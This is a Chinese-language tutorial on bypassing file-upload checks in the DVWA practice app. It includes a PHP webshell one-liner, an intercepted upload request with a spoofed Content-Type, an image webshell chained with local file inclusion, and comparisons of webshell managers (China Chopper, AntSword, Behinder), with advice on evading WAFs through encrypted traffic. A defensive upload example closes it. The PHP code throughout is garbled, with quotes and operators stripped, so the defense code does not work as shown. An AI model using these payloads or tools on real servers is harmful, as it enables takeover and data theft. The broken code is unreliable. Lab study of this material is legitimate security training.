DVWA 1.10 文件上传漏洞深度实战绕过手法与工具兼容性全面解析文件上传漏洞的本质与危害文件上传功能是现代Web应用的基础组件之一但当开发者未对上传文件进行严格校验时攻击者可能上传恶意脚本文件如PHP、ASP等从而获取服务器控制权限。这种漏洞的危害性通常极高可能导致服务器完全沦陷敏感数据泄露作为跳板攻击内网其他系统被植入挖矿程序或勒索软件DVWADamn Vulnerable Web Application作为著名的漏洞演练平台其文件上传模块设置了从低到高四个安全级别是学习文件上传漏洞的理想环境。1. 环境准备与基础配置1.1 DVWA环境搭建推荐使用Docker快速部署DVWA 1.10环境docker pull vulnerables/web-dvwa docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa访问http://localhost后需完成以下初始化步骤点击Create/Reset Database按钮使用默认账号admin/password登录在DVWA Security页面将安全级别设为Low1.2 必备工具安装Burp Suite Community用于拦截和修改HTTP请求官网提供各平台安装包Webshell管理工具对比工具名称最新版本支持平台主要特点PHP 5.x兼容性PHP 7.x兼容性中国菜刀2016Windows功能简单直接优秀差蚁剑2.1.9跨平台插件丰富支持编码器良好优秀冰蝎3.0Java跨平台流量加密绕过WAF能力强良好优秀提示测试时建议在虚拟机环境中运行这些工具部分安全软件会将其识别为威胁2. Low级别漏洞分析与绕过2.1 源码审计Low级别的文件上传处理代码如下?php if( isset( $_POST[ Upload ] ) ) { $target_path DVWA_WEB_PAGE_TO_ROOT.hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo pre上传失败/pre; } else { echo pre{$target_path} 上传成功!/pre; } } ?关键问题未检查文件类型未验证文件内容直接使用原始文件名保存2.2 基础攻击步骤准备PHP一句话木马?php system($_GET[cmd]); ?保存为shell.php在DVWA文件上传页面直接上传该文件访问上传后的文件路径附加命令参数http://localhost/hackable/uploads/shell.php?cmdwhoami2.3 工具连接成功率实测使用不同工具连接Low级别上传的Webshell工具连接方式PHP 5.6成功率PHP 7.4成功率备注中国菜刀直接连接.php文件100%30%PHP 7下常出现连接中断蚁剑直接连接.php文件100%100%默认编码器即可手动curlGET请求带参数100%100%最原始但可靠的方式3. Medium级别防护突破3.1 安全机制分析Medium级别新增了以下防护$uploaded_type $_FILES[uploaded][type]; $uploaded_size $_FILES[uploaded][size]; if( ($uploaded_type image/jpeg || $uploaded_type image/png) ($uploaded_size 100000) ) { // 允许上传 }关键限制只接受image/jpeg和image/png类型文件大小需小于100KB3.2 Content-Type绕过技术操作步骤使用Burp Suite拦截文件上传请求修改Content-Type为image/jpeg保持文件内容为PHP代码具体操作POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameuploaded; filenameshell.php Content-Type: image/jpeg [← 关键修改] ?php system($_GET[cmd]); ? ------WebKitFormBoundaryABC123--3.3 双写后缀绕过技术当服务器仅检查文件扩展名时可尝试将文件命名为shell.php.jpg某些不严谨的校验逻辑可能只检查.jpg而忽略前面部分服务器可能按最后的后缀执行文件4. High级别高级绕过手法4.1 安全机制深度分析High级别采用了更严格的防护$uploaded_ext substr($uploaded_name, strrpos($uploaded_name, .) 1); $uploaded_tmp $_FILES[uploaded][tmp_name]; if( (strtolower($uploaded_ext) jpg || strtolower($uploaded_ext) jpeg || strtolower($uploaded_ext) png) ($uploaded_size 100000) getimagesize($uploaded_tmp) ) { // 允许上传 }新增防护检查文件扩展名使用getimagesize()验证确实是图片文件4.2 图片马结合文件包含漏洞当无法直接上传可执行脚本时可采用组合攻击制作图片马echo ?php system($_GET[cmd]); ? legit.jpg生成同时包含图片数据和PHP代码的文件上传图片马通过High级别的上传校验文件保存为legit.jpg利用文件包含漏洞执行http://localhost/dvwa/vulnerabilities/fi/?pagefile:///var/www/html/dvwa/hackable/uploads/legit.jpgcmdwhoami4.3 PHP版本对攻击的影响不同PHP版本对攻击技术的影响绕过技术PHP 5.6可行性PHP 7.4可行性原因分析%00截断可行不可行PHP 5.3.4后修复此漏洞图片马文件包含可行可行依赖文件包含功能与版本无关.htaccess覆盖可行需配置允许依赖AllowOverride设置5. 防御方案与最佳实践5.1 安全防护措施对比防护措施防护效果实施难度对业务影响文件扩展名白名单★★★★★低MIME类型检查★★★★低文件内容签名验证★★★★★★★中重命名上传文件★★★★★★低存储在非Web可访问目录★★★★★★★中文件内容二次渲染★★★★★★★★★高5.2 PHP安全上传代码示例$allowed_ext [jpg, png, gif]; $max_size 1024 * 1024; // 1MB $upload_dir /var/www/uploads/; $ext strtolower(pathinfo($_FILES[file][name], PATHINFO_EXTENSION)); if(!in_array($ext, $allowed_ext)) { die(非法文件类型); } if($_FILES[file][size] $max_size) { die(文件过大); } $file_content file_get_contents($_FILES[file][tmp_name]); if(strpos($file_content, ?php) ! false) { die(检测到可疑内容); } $new_filename md5(uniqid().mt_rand())...$ext; if(move_uploaded_file($_FILES[file][tmp_name], $upload_dir.$new_filename)) { echo 上传成功; } else { echo 上传失败; }6. 工具连接成功率深度分析6.1 测试环境配置PHP 5.6.40传统环境PHP 7.4.3现代环境Web服务器Apache 2.4测试用例每种绕过手法上传的Webshell各10次6.2 连接成功率数据绕过手法工具PHP 5.6成功率PHP 7.4成功率平均响应时间(ms)直接上传.php中国菜刀100%25%120直接上传.php蚁剑100%100%180Content-Type修改中国菜刀90%20%150Content-Type修改蚁剑100%100%200图片马文件包含中国菜刀80%10%300图片马文件包含蚁剑95%85%3506.3 工具选择建议根据实际测试经验PHP 5.x环境中国菜刀连接速度快功能直接蚁剑功能更全面但稍显复杂PHP 7.x环境蚁剑是唯一可靠选择需使用base64等编码器提高稳定性避免使用assert()函数改用eval()复杂绕过场景蚁剑的编码器功能可适应各种过滤场景冰蝎适合需要流量加密的情况